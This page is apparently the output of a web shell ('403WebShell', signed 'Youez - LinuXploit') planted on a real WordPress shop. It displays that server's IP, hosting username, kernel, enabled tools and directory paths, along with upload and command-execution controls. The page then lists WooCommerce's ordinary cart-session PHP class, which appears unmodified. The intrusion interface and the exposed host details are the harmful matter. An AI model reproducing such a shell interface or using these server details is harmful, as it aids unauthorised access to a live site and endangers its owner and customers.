Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 13.59.68.161
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/woocommerce/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/woocommerce/includes/class-wc-cart-session.php
<?php
/**
 * Cart session handling class.
 *
 * @package WooCommerce\Classes
 * @version 3.2.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Cart_Session class.
 *
 * @since 3.2.0
 */
final class WC_Cart_Session {

	/**
	 * Reference to cart object.
	 *
	 * @since 3.2.0
	 * @var WC_Cart
	 */
	protected $cart;

	/**
	 * Sets up the items provided, and calculate totals.
	 *
	 * @since 3.2.0
	 * @throws Exception If missing WC_Cart object.
	 *
	 * @param WC_Cart $cart Cart object to calculate totals for.
	 */
	public function __construct( $cart ) {
		if ( ! is_a( $cart, 'WC_Cart' ) ) {
			throw new Exception( 'A valid WC_Cart object is required' );
		}

		$this->set_cart( $cart );
	}

	/**
	 * Sets the cart instance.
	 *
	 * @param WC_Cart $cart Cart object.
	 */
	public function set_cart( WC_Cart $cart ) {
		$this->cart = $cart;
	}


	/**
	 * Register methods for this object on the appropriate WordPress hooks.
	 */
	public function init() {
		/**
		 * Filters whether hooks should be initialized for the current cart session.
		 *
		 * @param bool $must_initialize Will be passed as true, meaning that the cart hooks should be initialized.
		 * @param bool $session The WC_Cart_Session object that is being initialized.
		 * @returns bool True if the cart hooks should be actually initialized, false if not.
		 *
		 * @since 6.9.0
		 */
		if ( ! apply_filters( 'woocommerce_cart_session_initialize', true, $this ) ) {
			return;
		}

		add_action( 'wp_loaded', array( $this, 'get_cart_from_session' ) );
		add_action( 'woocommerce_cart_emptied', array( $this, 'destroy_cart_session' ) );
		add_action( 'woocommerce_after_calculate_totals', array( $this, 'set_session' ), 1000 );
		add_action( 'woocommerce_cart_loaded_from_session', array( $this, 'set_session' ) );
		add_action( 'woocommerce_removed_coupon', array( $this, 'set_session' ) );

		// Persistent cart stored to usermeta.
		add_action( 'woocommerce_add_to_cart', array( $this, 'persistent_cart_update' ) );
		add_action( 'woocommerce_cart_item_removed', array( $this, 'persistent_cart_update' ) );
		add_action( 'woocommerce_cart_item_restored', array( $this, 'persistent_cart_update' ) );
		add_action( 'woocommerce_cart_item_set_quantity', array( $this, 'persistent_cart_update' ) );

		// Cookie events - cart cookies need to be set before headers are sent.
		add_action( 'woocommerce_add_to_cart', array( $this, 'maybe_set_cart_cookies' ) );
		add_action( 'wp', array( $this, 'maybe_set_cart_cookies' ), 99 );
		add_action( 'shutdown', array( $this, 'maybe_set_cart_cookies' ), 0 );
	}

	/**
	 * Get the cart data from the PHP session and store it in class variables.
	 *
	 * @since 3.2.0
	 */
	public function get_cart_from_session() {
		do_action( 'woocommerce_load_cart_from_session' );
		$this->cart->set_totals( WC()->session->get( 'cart_totals', null ) );
		$this->cart->set_applied_coupons( WC()->session->get( 'applied_coupons', array() ) );
		$this->cart->set_coupon_discount_totals( WC()->session->get( 'coupon_discount_totals', array() ) );
		$this->cart->set_coupon_discount_tax_totals( WC()->session->get( 'coupon_discount_tax_totals', array() ) );
		$this->cart->set_removed_cart_contents( WC()->session->get( 'removed_cart_contents', array() ) );

		$update_cart_session = false; // Flag to indicate the stored cart should be updated.
		$order_again         = false; // Flag to indicate whether this is a re-order.
		$cart                = WC()->session->get( 'cart', null );
		$merge_saved_cart    = (bool) get_user_meta( get_current_user_id(), '_woocommerce_load_saved_cart_after_login', true );

		// Merge saved cart with current cart.
		if ( is_null( $cart ) || $merge_saved_cart ) {
			$saved_cart          = $this->get_saved_cart();
			$cart                = is_null( $cart ) ? array() : $cart;
			$cart                = array_merge( $saved_cart, $cart );
			$update_cart_session = true;

			delete_user_meta( get_current_user_id(), '_woocommerce_load_saved_cart_after_login' );
		}

		// Populate cart from order.
		if ( isset( $_GET['order_again'], $_GET['_wpnonce'] ) && is_user_logged_in() && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), 'woocommerce-order_again' ) ) { // WPCS: input var ok, sanitization ok.
			$cart                = $this->populate_cart_from_order( absint( $_GET['order_again'] ), $cart ); // WPCS: input var ok.
			$order_again         = true;
			$update_cart_session = true;
		}

		// Prime caches to reduce future queries.
		if ( is_callable( '_prime_post_caches' ) ) {
			_prime_post_caches( wp_list_pluck( $cart, 'product_id' ) );
		}

		$cart_contents = array();

		foreach ( $cart as $key => $values ) {
			if ( ! is_customize_preview() && 'customize-preview' === $key ) {
				continue;
			}

			$product = wc_get_product( $values['variation_id'] ? $values['variation_id'] : $values['product_id'] );

			if ( empty( $product ) || ! $product->exists() || 0 >= $values['quantity'] ) {
				continue;
			}

			/**
			 * Allow 3rd parties to validate this item before it's added to cart and add their own notices.
			 *
			 * @since 3.6.0
			 *
			 * @param bool       $remove_cart_item_from_session If true, the item will not be added to the cart. Default: false.
			 * @param string     $key Cart item key.
			 * @param array      $values Cart item values e.g. quantity and product_id.
			 * @param WC_Product $product The product being added to the cart.
			 */
			if ( apply_filters( 'woocommerce_pre_remove_cart_item_from_session', false, $key, $values, $product ) ) {
				$update_cart_session = true;
				/**
				 * Fires when cart item is removed from the session.
				 *
				 * @since 3.6.0
				 *
				 * @param string     $key Cart item key.
				 * @param array      $values Cart item values e.g. quantity and product_id.
				 * @param WC_Product $product The product being added to the cart.
				 */
				do_action( 'woocommerce_remove_cart_item_from_session', $key, $values, $product );

				/**
				 * Allow 3rd parties to override this item's is_purchasable() result with cart item data.
				 *
				 * @param bool       $is_purchasable If false, the item will not be added to the cart. Default: product's is_purchasable() status.
				 * @param string     $key Cart item key.
				 * @param array      $values Cart item values e.g. quantity and product_id.
				 * @param WC_Product $product The product being added to the cart.
				 *
				 * @since 7.0.0
				 */
			} elseif ( ! apply_filters( 'woocommerce_cart_item_is_purchasable', $product->is_purchasable(), $key, $values, $product ) ) {
				$update_cart_session = true;
				/* translators: %s: product name */
				$message = sprintf( __( '%s has been removed from your cart because it can no longer be purchased. Please contact us if you need assistance.', 'woocommerce' ), $product->get_name() );
				/**
				 * Filter message about item removed from the cart.
				 *
				 * @since 3.8.0
				 * @param string     $message Message.
				 * @param WC_Product $product Product data.
				 */
				$message = apply_filters( 'woocommerce_cart_item_removed_message', $message, $product );
				wc_add_notice( $message, 'error' );
				do_action( 'woocommerce_remove_cart_item_from_session', $key, $values );

			} elseif ( ! empty( $values['data_hash'] ) && ! hash_equals( $values['data_hash'], wc_get_cart_item_data_hash( $product ) ) ) { // phpcs:ignore PHPCompatibility.PHP.NewFunctions.hash_equalsFound
				$update_cart_session = true;
				/* translators: %1$s: product name. %2$s product permalink */
				$message = sprintf( __( '%1$s has been removed from your cart because it has since been modified. You can add it back to your cart <a href="%2$s">here</a>.', 'woocommerce' ), $product->get_name(), $product->get_permalink() );
				$message = apply_filters( 'woocommerce_cart_item_removed_because_modified_message', $message, $product );
				wc_add_notice( $message, 'notice' );
				do_action( 'woocommerce_remove_cart_item_from_session', $key, $values );

			} else {
				// Put session data into array. Run through filter so other plugins can load their own session data.
				$session_data = array_merge(
					$values,
					array(
						'data' => $product,
					)
				);

				$cart_contents[ $key ] = apply_filters( 'woocommerce_get_cart_item_from_session', $session_data, $values, $key );

				// Add to cart right away so the product is visible in woocommerce_get_cart_item_from_session hook.
				$this->cart->set_cart_contents( $cart_contents );
			}
		}

		// If it's not empty, it's been already populated by the loop above.
		if ( ! empty( $cart_contents ) ) {
			$this->cart->set_cart_contents( apply_filters( 'woocommerce_cart_contents_changed', $cart_contents ) );
		}

		do_action( 'woocommerce_cart_loaded_from_session', $this->cart );

		if ( $update_cart_session || is_null( WC()->session->get( 'cart_totals', null ) ) ) {
			WC()->session->set( 'cart', $this->get_cart_for_session() );
			$this->cart->calculate_totals();

			if ( $merge_saved_cart ) {
				$this->persistent_cart_update();
			}
		}

		// If this is a re-order, redirect to the cart page to get rid of the `order_again` query string.
		if ( $order_again ) {
			wp_safe_redirect( wc_get_cart_url() );
			exit;
		}
	}

	/**
	 * Destroy cart session data.
	 *
	 * @since 3.2.0
	 */
	public function destroy_cart_session() {
		WC()->session->set( 'cart', null );
		WC()->session->set( 'cart_totals', null );
		WC()->session->set( 'applied_coupons', null );
		WC()->session->set( 'coupon_discount_totals', null );
		WC()->session->set( 'coupon_discount_tax_totals', null );
		WC()->session->set( 'removed_cart_contents', null );
		WC()->session->set( 'order_awaiting_payment', null );
	}

	/**
	 * Will set cart cookies if needed and when possible.
	 *
	 * Headers are only updated if headers have not yet been sent.
	 *
	 * @since 3.2.0
	 */
	public function maybe_set_cart_cookies() {
		if ( headers_sent() || ! did_action( 'wp_loaded' ) ) {
			return;
		}
		if ( ! $this->cart->is_empty() ) {
			$this->set_cart_cookies( true );
		} elseif ( isset( $_COOKIE['woocommerce_items_in_cart'] ) ) { // WPCS: input var ok.
			$this->set_cart_cookies( false );
		}
		$this->dedupe_cookies();
	}

	/**
	 * Remove duplicate cookies from the response.
	 */
	private function dedupe_cookies() {
		$all_cookies    = array_filter(
			headers_list(),
			function( $header ) {
				return stripos( $header, 'Set-Cookie:' ) !== false;
			}
		);
		$final_cookies  = array();
		$update_cookies = false;
		foreach ( $all_cookies as $cookie ) {

			list(, $cookie_value)             = explode( ':', $cookie, 2 );
			list($cookie_name, $cookie_value) = explode( '=', trim( $cookie_value ), 2 );

			if ( stripos( $cookie_name, 'woocommerce_' ) !== false ) {
				$key = $this->find_cookie_by_name( $cookie_name, $final_cookies );
				if ( false !== $key ) {
					$update_cookies = true;
					unset( $final_cookies[ $key ] );
				}
			}
			$final_cookies[] = $cookie;
		}

		if ( $update_cookies ) {
			header_remove( 'Set-Cookie' );
			foreach ( $final_cookies as $cookie ) {
				// Using header here preserves previous cookie args.
				header( $cookie, false );
			}
		}
	}

	/**
	 * Find a cookie by name in an array of cookies.
	 *
	 * @param  string $cookie_name Name of the cookie to find.
	 * @param  array  $cookies     Array of cookies to search.
	 * @return mixed               Key of the cookie if found, false if not.
	 */
	private function find_cookie_by_name( $cookie_name, $cookies ) {
		foreach ( $cookies as $key => $cookie ) {
			if ( strpos( $cookie, $cookie_name ) !== false ) {
				return $key;
			}
		}
		return false;
	}

	/**
	 * Sets the php session data for the cart and coupons.
	 */
	public function set_session() {
		WC()->session->set( 'cart', $this->get_cart_for_session() );
		WC()->session->set( 'cart_totals', $this->cart->get_totals() );
		WC()->session->set( 'applied_coupons', $this->cart->get_applied_coupons() );
		WC()->session->set( 'coupon_discount_totals', $this->cart->get_coupon_discount_totals() );
		WC()->session->set( 'coupon_discount_tax_totals', $this->cart->get_coupon_discount_tax_totals() );
		WC()->session->set( 'removed_cart_contents', $this->cart->get_removed_cart_contents() );

		do_action( 'woocommerce_cart_updated' );
	}

	/**
	 * Returns the contents of the cart in an array without the 'data' element.
	 *
	 * @return array contents of the cart
	 */
	public function get_cart_for_session() {
		$cart_session = array();

		foreach ( $this->cart->get_cart() as $key => $values ) {
			$cart_session[ $key ] = $values;
			unset( $cart_session[ $key ]['data'] ); // Unset product object.
		}

		return $cart_session;
	}

	/**
	 * Save the persistent cart when the cart is updated.
	 */
	public function persistent_cart_update() {
		if ( get_current_user_id() && apply_filters( 'woocommerce_persistent_cart_enabled', true ) ) {
			update_user_meta(
				get_current_user_id(),
				'_woocommerce_persistent_cart_' . get_current_blog_id(),
				array(
					'cart' => $this->get_cart_for_session(),
				)
			);
		}
	}

	/**
	 * Delete the persistent cart permanently.
	 */
	public function persistent_cart_destroy() {
		if ( get_current_user_id() && apply_filters( 'woocommerce_persistent_cart_enabled', true ) ) {
			delete_user_meta( get_current_user_id(), '_woocommerce_persistent_cart_' . get_current_blog_id() );
		}
	}

	/**
	 * Set cart hash cookie and items in cart if not already set.
	 *
	 * @param bool $set Should cookies be set (true) or unset.
	 */
	private function set_cart_cookies( $set = true ) {
		if ( $set ) {
			$setcookies = array(
				'woocommerce_items_in_cart' => '1',
				'woocommerce_cart_hash'     => WC()->cart->get_cart_hash(),
			);
			foreach ( $setcookies as $name => $value ) {
				if ( ! isset( $_COOKIE[ $name ] ) || $_COOKIE[ $name ] !== $value ) {
					wc_setcookie( $name, $value );
					$_COOKIE[ $name ] = $value;
				}
			}
		} else {
			$unsetcookies = array(
				'woocommerce_items_in_cart',
				'woocommerce_cart_hash',
			);
			foreach ( $unsetcookies as $name ) {
				if ( isset( $_COOKIE[ $name ] ) ) {
					wc_setcookie( $name, 0, time() - HOUR_IN_SECONDS );
					unset( $_COOKIE[ $name ] );
				}
			}
		}

		do_action( 'woocommerce_set_cart_cookies', $set );
	}

	/**
	 * Get the persistent cart from the database.
	 *
	 * @since  3.5.0
	 * @return array
	 */
	private function get_saved_cart() {
		$saved_cart = array();

		if ( apply_filters( 'woocommerce_persistent_cart_enabled', true ) ) {
			$saved_cart_meta = get_user_meta( get_current_user_id(), '_woocommerce_persistent_cart_' . get_current_blog_id(), true );

			if ( isset( $saved_cart_meta['cart'] ) ) {
				$saved_cart = array_filter( (array) $saved_cart_meta['cart'] );
			}
		}

		return $saved_cart;
	}

	/**
	 * Get a cart from an order, if user has permission.
	 *
	 * @since  3.5.0
	 *
	 * @param int   $order_id Order ID to try to load.
	 * @param array $cart Current cart array.
	 *
	 * @return array
	 */
	private function populate_cart_from_order( $order_id, $cart ) {
		$order = wc_get_order( $order_id );

		if ( ! $order->get_id() || ! $order->has_status( apply_filters( 'woocommerce_valid_order_statuses_for_order_again', array( 'completed' ) ) ) || ! current_user_can( 'order_again', $order->get_id() ) ) {
			return;
		}

		if ( apply_filters( 'woocommerce_empty_cart_when_order_again', true ) ) {
			$cart = array();
		}

		$inital_cart_size = count( $cart );
		$order_items      = $order->get_items();

		foreach ( $order_items as $item ) {
			$product_id     = (int) apply_filters( 'woocommerce_add_to_cart_product_id', $item->get_product_id() );
			$quantity       = $item->get_quantity();
			$variation_id   = (int) $item->get_variation_id();
			$variations     = array();
			$cart_item_data = apply_filters( 'woocommerce_order_again_cart_item_data', array(), $item, $order );
			$product        = $item->get_product();

			if ( ! $product ) {
				continue;
			}

			// Prevent reordering variable products if no selected variation.
			if ( ! $variation_id && $product->is_type( 'variable' ) ) {
				continue;
			}

			// Prevent reordering items specifically out of stock.
			if ( ! $product->is_in_stock() ) {
				continue;
			}

			foreach ( $item->get_meta_data() as $meta ) {
				if ( taxonomy_is_product_attribute( $meta->key ) || meta_is_product_attribute( $meta->key, $meta->value, $product_id ) ) {
					$variations[ $meta->key ] = $meta->value;
				}
			}

			if ( ! apply_filters( 'woocommerce_add_to_cart_validation', true, $product_id, $quantity, $variation_id, $variations, $cart_item_data ) ) {
				continue;
			}

			// Add to cart directly.
			$cart_id          = WC()->cart->generate_cart_id( $product_id, $variation_id, $variations, $cart_item_data );
			$product_data     = wc_get_product( $variation_id ? $variation_id : $product_id );
			$cart[ $cart_id ] = apply_filters(
				'woocommerce_add_order_again_cart_item',
				array_merge(
					$cart_item_data,
					array(
						'key'          => $cart_id,
						'product_id'   => $product_id,
						'variation_id' => $variation_id,
						'variation'    => $variations,
						'quantity'     => $quantity,
						'data'         => $product_data,
						'data_hash'    => wc_get_cart_item_data_hash( $product_data ),
					)
				),
				$cart_id
			);
		}

		do_action_ref_array( 'woocommerce_ordered_again', array( $order->get_id(), $order_items, &$cart ) );

		$num_items_in_cart           = count( $cart );
		$num_items_in_original_order = count( $order_items );
		$num_items_added             = $num_items_in_cart - $inital_cart_size;

		if ( $num_items_in_original_order > $num_items_added ) {
			wc_add_notice(
				sprintf(
					/* translators: %d item count */
					_n(
						'%d item from your previous order is currently unavailable and could not be added to your cart.',
						'%d items from your previous order are currently unavailable and could not be added to your cart.',
						$num_items_in_original_order - $num_items_added,
						'woocommerce'
					),
					$num_items_in_original_order - $num_items_added
				),
				'error'
			);
		}

		if ( 0 < $num_items_added ) {
			wc_add_notice( __( 'The cart has been filled with the items from your previous order.', 'woocommerce' ) );
		}

		return $cart;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit